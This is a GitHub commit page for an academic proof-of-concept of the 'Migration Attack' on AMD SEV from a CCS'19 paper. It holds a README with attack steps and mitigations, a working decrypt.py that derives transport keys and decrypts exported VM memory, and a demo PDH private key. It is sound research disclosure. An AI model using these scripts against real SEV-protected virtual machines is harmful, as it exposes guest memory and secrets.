-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 3d2b841
Showing
6 changed files
with
806 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,148 @@ | ||
## Introduction | ||
This repository contains a proof-of-concept implementation of the "Migration Attack" proposed in our paper: | ||
|
||
*Insecure Until Proven Updated: Analyzing AMD SEV's Remote Attestation* | ||
|
||
The paper will be presented at the [*26th ACM Conference on Computer and Communications Security*](https://sigsac.org/ccs/CCS2019/) (CCS'19) in London. | ||
You can find a pre-print version of the paper [here](https://arxiv.org/abs/1908.11680). | ||
|
||
In the paper we show that we were able to obtain the `chip-endorsement-key` (CEK) from AMD EPYC cpus of the Naples series. | ||
This key plays a central role in the trust model of the *Secure Encrypted Virtualization* technology from AMD. | ||
Based on the key extraction, we propose attacks against AMD SEV protected virtual machines that allow an attacker to fully circumvent the protection granted by the SEV technology. | ||
|
||
Please refer to our [paper](https://arxiv.org/abs/1908.11680) for the details. | ||
|
||
This proof-of-concept implementation consists of the following files: | ||
|
||
Filename | Description | ||
-------- | ----------- | ||
`Readme.md` | This file. | ||
`launch-qemu.sh` | Script used to launch the VM. | ||
`migrate.py` | Script to start VM migration. | ||
`decrypt.py` | Script to decrypt exported VM memory. | ||
`keys/pdh_priv.pem` | PDH private key that was used to initiate VM migration of the `vm.mem` image. | ||
`keys/pdh_remote.cert` | The PDH certificate of the target host. | ||
|
||
The image of encrypted guest memory used for this proof-of-concept can be found [here](TODO). | ||
|
||
|
||
## Background | ||
The ability to migrate virtual machines from one host to another is a crucial feature in cloud-computing. | ||
It allows to ensure e.g. the availability of virtual machines in case of failure in the host system. | ||
Migration of virtual machines requires to copy the memory content from the source host to the destination host. | ||
With the *Secure Encrypted Virtualization* (SEV) technology, the memory cannot be simply moved to another host as it is encrypted with a key that never leaves the secure processor (PSP) of the host. | ||
To allow migration with SEV in place, AMD introduced a migration scheme that allows to migrate encrypted virtual machine memory using dedicated transport keys. | ||
While the untrusted hypervisor is still responsible to copy the memory, it is still protected using keys known only by the trusted secure processors of the source and destination of the migration. | ||
|
||
To perform the migration, the following steps need to be performed (simplified): | ||
|
||
|
||
1. The target of the migration needs to provide a valid certificate chain | ||
``` | ||
PDH_target -> PEK -> CEK -> ASK -> ARK | ||
``` | ||
2. The secure processor of the source host will verify the certificate chain. | ||
3. If successful, the secure processor will derive a *shared secret* using the provided *platform-diffie-hellman-key* (PDH). The PDH_source of the source platform is exported to the target platform to derive the same shared key. | ||
4. The source platform will derive several keys from the shared secret using a key derivation function: | ||
* The *master-secret*: KDF(*shared-secret*) | ||
* The *key-encryption-key* (KEK): KDF(*master-secret*) | ||
* The *key-integrity-key* (KIK): KDF(*master-secret*) | ||
5. The source platform generates *transport keys*: | ||
* The *transport-integrity-key* (TIK) | ||
* The *transport-encryption-key* (TEK) | ||
6. The source platform encrypts the TEK and TIK using the KEK and computes a MAC using the KIK. This process is referred to as *key wrapping*. | ||
7. The source platform re-encrypts the VM's memory using the TEK and exports the encrypted memory and the wrapped keys to the hypervisor. | ||
8. Using the PDH_source, the target platform can derive the same keys as in Steps 2 to 5. | ||
9. Using the derived KEK, the target platform can decrypt the TIK and TEK and then decrypt the virtual machines memory. | ||
|
||
For details, please refer to the [AMD SEV API 0.22](https://developer.amd.com/wp-content/resources/55766.PDF) specification, Appendix A. | ||
|
||
## Migration Attack | ||
Using an extracted `chip-endorsement-key`, an attacker can create a valid certificate chain: | ||
``` | ||
PDH_target -> PEK -> CEK -> ASK -> ARK | ||
``` | ||
and pose as a target for migration. | ||
To that end, the attacker creates the certificate chain and derives the KIK and KEK as described in the Steps 3 to 4. | ||
Now the attacker can decrypt the exported virtual machine memory using the decrypted TEK. | ||
|
||
For the migration attack to work, the target host does not need to contain any security issues. | ||
As long as the guest policy allows migration, an attacker can extract it's memory content. | ||
A valid CEK extracted from an arbitrary AMD Epyc CPU is sufficient to mount this attack. | ||
|
||
We have successfully performed this attack on a virtual machine with SEV protection in place. | ||
We were able to extract the full memory of the virtual machine including keyboard inputs that were entered over an SSH protected remote console. | ||
The target host was running the latest SEV firmware at the time of writing (SEV API 17. Build 22). | ||
We would like to emphasize that we do NOT require any security issues to be present in either the target host nor in the target virtual machine. | ||
Our attack does NOT depend on any specific guest software or services running inside a guest. | ||
To the best of our knowledge, all Epyc systems of the AMD EPYC Naples (Zen1) are affected. | ||
|
||
While we don't see any obstacles to make this attack work on newer, Zen2 based systems, we are not aware of any firmware issues in that allow to extract a *chip-endorsement-key* from Zen2 based systems. | ||
The extracted CEK from Zen1 systems is not accepted by Zen2 systems. | ||
|
||
The scripts in this repository contain the exact steps necessary to perform the migration attack on an SEV protected virtual machine. | ||
We also include an encrypted guest memory image and the corresponding PDH private key that allows to decrypt the memory. | ||
The required Steps are explained in the [Usage](#usage) Chapter. | ||
|
||
## Mitigations | ||
SEV allows to prevent the migration of virtual machines using a policy that is defined by the guest owner. | ||
Using the `NOSEND` bit if the guest policy (See [AMD SEV API 0.22](https://developer.amd.com/wp-content/resources/55766.PDF) Chapter 3), a guest owner can prevent any migration. | ||
While this effectively prevents our attack, this also prohibits migration in case of host failures. | ||
|
||
## Usage | ||
|
||
### Pre-requisites | ||
1. A working SEV Setup. See [here](https://github.com/AMDESE/AMDSEV) for the required steps to enable SEV. SEV migration requires features which are not yet pushed upstream. The branches/repos used for this proof-of-concept are: | ||
* Linux kernel: https://github.com/codomania/kvm/ branch: `sev-migration-v3` | ||
* QEMU: https://github.com/codomania/qemu branch: `sev-migration-v3` | ||
* sev-tool: https://github.com/RobertBuhren/sev-tool branch: `master` | ||
|
||
2. A Guest that allows migration. The `launch-qemu.sh` script sets the correct policy bits that allow migration to an SEV capable system. | ||
|
||
3. The QEMU instance must accept connections via the `qmp` interface. The `launch-qemu.sh` script enables QMP on port `4444`. | ||
|
||
4. An extracted CEK private key. NOTE: This key is not included in this repository. However, this repository contains the exported memory of an SEV protected virtual machine (`vm.mem`). Together with the PDH private key used for the migration (`pdh_priv.pem`), the memory can be decrypted using the `decrypt.py` script. | ||
|
||
### Scripts | ||
|
||
The `migrate.py` script is responsible for creating a certificate chain which is used by the target host to derive a shared secret that is used to protect the transport keys (`TIK` and `TEK`). | ||
|
||
The `migrate.py` script needs to be configured before the first use. Specifically the following parameters must be provided in the beginning of the script file: | ||
|
||
* The target host: IP and QMP port. | ||
* CEK_ID (optional) the ID corresponding to the extracted CEK. This is used to retrieve the signed CEK from the AMD keyserver. | ||
* HOSTFILE: The filename where the virtual memory should be exported to. The script will eventually issue the qemu command `migrate: exec > HOSTFILE`. | ||
The filename is relative to the current working directory of the target QEMU process. | ||
|
||
The script further requires an extracted CEK in the PEM format as the first argument. Optionally the signed ASK and ARK can be provided. | ||
|
||
Example usage: | ||
|
||
``` | ||
./migrate.py cek.pem cek_signed.cert ask_ark_naples.cert | ||
``` | ||
or, to retrieve the certs from the AMD keyserver: | ||
|
||
``` | ||
./migrate.py cek.pem | ||
``` | ||
|
||
The script initiates the migration process and then exits. NOTE: migration with SEV is quite slow (~800 Kb/s). The script will exit after migration is initiated. To monitor the status of the migration on the host, the *qemu-monitor* should be used. | ||
|
||
The `decrypt.py` script performs the actual decryption of the exported guest memory. | ||
Before the first run, the location of the `sev-tool` binary needs to be specified in the script file. | ||
|
||
To decrypt the exported guest memory the script requires the private pdh that was used to initiate the migration and the public key of the target host. | ||
The `migrate.py` script saves the remote public PDH to `./pdh_remote.cert` and the local private PDH to `./pdh_priv.pem`. | ||
|
||
To finally decrypt exported guest memory use: | ||
``` | ||
./decrypt.py pdh_priv.pem pdh_remote.cert vm.mem | ||
``` | ||
Where `vm.mem` is the encrypted virtual machine memory content. | ||
The decrypted memory content will be saved in `./out`. | ||
|
||
### POC Attack | ||
|
||
The target guest used for this attack contains a secret in the form of the string `InsecureUntilProvenUpdated` that was entered using an encrypted SSH console. | ||
While the string can be easily found inside the decrypted image, it is not present in the encrypted memory image. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,191 @@ | ||
import base64 | ||
import sys | ||
import os | ||
import subprocess | ||
import binascii | ||
from cryptography.hazmat.primitives.serialization import load_pem_private_key | ||
from cryptography.hazmat.backends import default_backend | ||
from cryptography.hazmat.primitives.asymmetric import ec | ||
from cryptography.hazmat.primitives import hashes, hmac | ||
from cryptography.exceptions import InvalidSignature | ||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes | ||
|
||
SEVTOOL = "Path to the sevtool binary that exports the KDF" | ||
|
||
def swap_bytes(data): | ||
data_int = int.from_bytes(data, 'little') | ||
return (data_int).to_bytes(len(data), 'big') | ||
|
||
def build_ecdsa_pubkey(qx_bytes, qy_bytes): | ||
"""Build ecdsa public key from provided curve point. Returns an | ||
EllipticCurvePublicKey object. Point must be specified by qx and qy | ||
values in little-endian byte order. Curve defaults to NIST-P384. | ||
See: AMD SEV API ver. 0.22 Chapter 4.5 and Appendix C.2""" | ||
|
||
pubkey_qx = int.from_bytes(qx_bytes, 'little') | ||
pubkey_qy = int.from_bytes(qy_bytes, 'little') | ||
|
||
curve = ec.SECP384R1() # NIST-P384 | ||
pub_numbers = ec.EllipticCurvePublicNumbers(pubkey_qx, pubkey_qy, curve) | ||
|
||
ec_pubkey = pub_numbers.public_key(default_backend()) | ||
|
||
return ec_pubkey | ||
|
||
def derive_secret(secret,context,nonce): | ||
"""Call the sevtool key key derivation function. | ||
Returns the derived key.""" | ||
# TODO: Implement in python | ||
if nonce is not None: | ||
out = subprocess.Popen([SEVTOOL,"--kdf",binascii.hexlify(secret),context,binascii.hexlify(nonce)],stdout=subprocess.PIPE) | ||
else: | ||
out = subprocess.Popen([SEVTOOL,"--kdf",binascii.hexlify(secret),context],stdout=subprocess.PIPE) | ||
|
||
return binascii.unhexlify(out.stdout.readlines()[0].rstrip()) | ||
|
||
# Read private PDH | ||
with open(sys.argv[1], 'rb') as f: | ||
pdh_priv = load_pem_private_key( | ||
f.read(), | ||
password=None, | ||
backend=default_backend()) | ||
|
||
# Read remote public PDH | ||
with open(sys.argv[2],'rb') as f: | ||
remote_pdh = f.read() | ||
remote_pdh = build_ecdsa_pubkey(remote_pdh[0x14:0x14+0x48], | ||
remote_pdh[0x5c:0x5c+0x48]) | ||
|
||
# Open encrypted memory file | ||
with open(sys.argv[3], 'rb') as f: | ||
# TODO don't rely on hard-coded constants | ||
|
||
f.seek(0x19d) | ||
policy = f.read(4) | ||
f.seek(0x1A1) | ||
pdh_len = f.read(4) | ||
|
||
# Seek to the beginning of the PDH | ||
f.seek(0x1A5) | ||
pdh_len = int.from_bytes(pdh_len,'big') | ||
# pdh = f.read(pdh_len) | ||
|
||
#Seek to the beginning of the session len | ||
f.seek(0x1A5 + pdh_len) | ||
session_len = int.from_bytes(f.read(4), 'big') | ||
|
||
# Read session data | ||
f.seek(0x1A5 + 4 + pdh_len) | ||
session_data = f.read(session_len) | ||
|
||
begin_chunk = 0x1A5 + 4 + pdh_len + session_len | ||
print(hex(begin_chunk)) | ||
|
||
|
||
# DH Static Unified Model - Section 2.2.2 AMD SEV API | ||
print("Deriving shared secret") | ||
shared_secret = pdh_priv.exchange(ec.ECDH(), remote_pdh) | ||
|
||
# Get session data | ||
nonce = session_data[:0x10] | ||
wrapped_tk = session_data[0x10:0x30] | ||
iv = session_data[0x30:0x40] | ||
hmac_tk = session_data[0x40:0x60] | ||
hmac_policy = session_data[0x60:0x80] | ||
|
||
print("Deriving master secret, key-encryption-key (KEK) and key-integrity-key (KIK)") | ||
master_secret = derive_secret(shared_secret,b'sev-master-secret',nonce) | ||
kek = derive_secret(master_secret,b'sev-kek',None) | ||
kik = derive_secret(master_secret,b'sev-kik',None) | ||
|
||
calc_hmac = hmac.HMAC(kik, hashes.SHA256(), backend=default_backend()) | ||
|
||
calc_hmac.update(wrapped_tk) | ||
|
||
# Sanity check: Verify that derived kik is correct. | ||
try: | ||
calc_hmac.verify(hmac_tk) | ||
except InvalidSignature: | ||
print("ERROR, couldn't verify using kik") | ||
else: | ||
print("Verified wrapped_tk using kik") | ||
|
||
|
||
|
||
aes = algorithms.AES(kek) | ||
decryptor = Cipher(aes,modes.CTR(iv),default_backend()).decryptor() | ||
|
||
tiktek = decryptor.update(wrapped_tk) + decryptor.finalize() | ||
|
||
# Get TIK and TEK | ||
tek = tiktek[:0x10] | ||
tik = tiktek[0x10:] | ||
|
||
calc_hmac_pol = hmac.HMAC(tik, hashes.SHA256(), backend=default_backend()) | ||
calc_hmac_pol.update(swap_bytes(policy)) | ||
|
||
# Sanity check: Verify that decrypted TIK is correct. | ||
try: | ||
calc_hmac_pol.verify(hmac_policy) | ||
except InvalidSignature: | ||
print("ERROR, couldn't verify policy using tik") | ||
sys.exit(-1) | ||
else: | ||
print("Verified policy using tik") | ||
|
||
print("Starting to decrypt...") | ||
out = open("./out",'ab') | ||
|
||
# Don't look at this code, please. It is hideous. | ||
with open(sys.argv[3],'rb') as f: | ||
while(True): | ||
# Read transport hdr | ||
f.seek(begin_chunk) | ||
hdr_size = int.from_bytes(f.read(4), 'big') | ||
if hdr_size != 0x34: | ||
break | ||
print("HDR size: %x at offset %x" % (hdr_size, f.tell())) | ||
f.seek(begin_chunk + 4) | ||
hdr = f.read(hdr_size) | ||
|
||
data_flags = hdr[:4] | ||
data_iv = hdr[4:20] | ||
data_mac = hdr[0x14:0x14+0x20] | ||
f.seek(begin_chunk + 4 + hdr_size) | ||
data_size = int.from_bytes(f.read(4), 'big') | ||
if data_size != 0x1000: | ||
break | ||
print("Data size: %x at offset: %x" % (data_size,f.tell())) | ||
|
||
f.seek(begin_chunk + 4 + hdr_size + 4) | ||
data = f.read(data_size) | ||
if len(data) != data_size: | ||
print("Couldn't read the full data chuck. data_size: %x len(data): %x" % (data_size, len(data))) | ||
print(" Offset in file: %x" % f.tell()) | ||
break | ||
if data_size == 0: | ||
print("data_size is zero") | ||
print(" Offset in file: %x" % f.tell()) | ||
break | ||
|
||
aes = algorithms.AES(tek) | ||
decryptor = Cipher(aes,modes.CTR(data_iv),default_backend()).decryptor() | ||
pos = 0 | ||
current_pos = f.tell() | ||
while True: | ||
f.seek(current_pos + pos) | ||
if f.read(8) == b'\x00\x00\x00\x34\x00\x00\x00\x00': # TODO: Don't assume a fixed header size of 0x34 | ||
break | ||
pos += 1 | ||
cur_pos = f.tell() | ||
f.seek(0,os.SEEK_END) | ||
if cur_pos >= f.tell(): | ||
break | ||
f.seek(cur_pos) | ||
begin_chunk = current_pos + pos | ||
print("Begin of new chuck at %x offset: %x" % (begin_chunk, f.tell())) | ||
|
||
out.write(decryptor.update(data) + decryptor.finalize()) | ||
|
||
|
||
out.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
-----BEGIN EC PRIVATE KEY----- | ||
MIGkAgEBBDAhT77lzKiFms82jnGIQr5pu7yzEkQ+ngw2RkslZcVqyff4t/FA1gyX | ||
x92BeHZYHPygBwYFK4EEACKhZANiAAS+YVMLUdfEHtORZcx5kKnGRARiARiRgnG/ | ||
e8P2NYq1PfGgYB/0WmRQBXH9JnoCtRiBXknOddC85nghoLvL7cP70vce8uyeszDS | ||
iZI0Dk7UkvmqyLZ+KBVTugZS/F451kI= | ||
-----END EC PRIVATE KEY----- |
Binary file not shown.
Oops, something went wrong.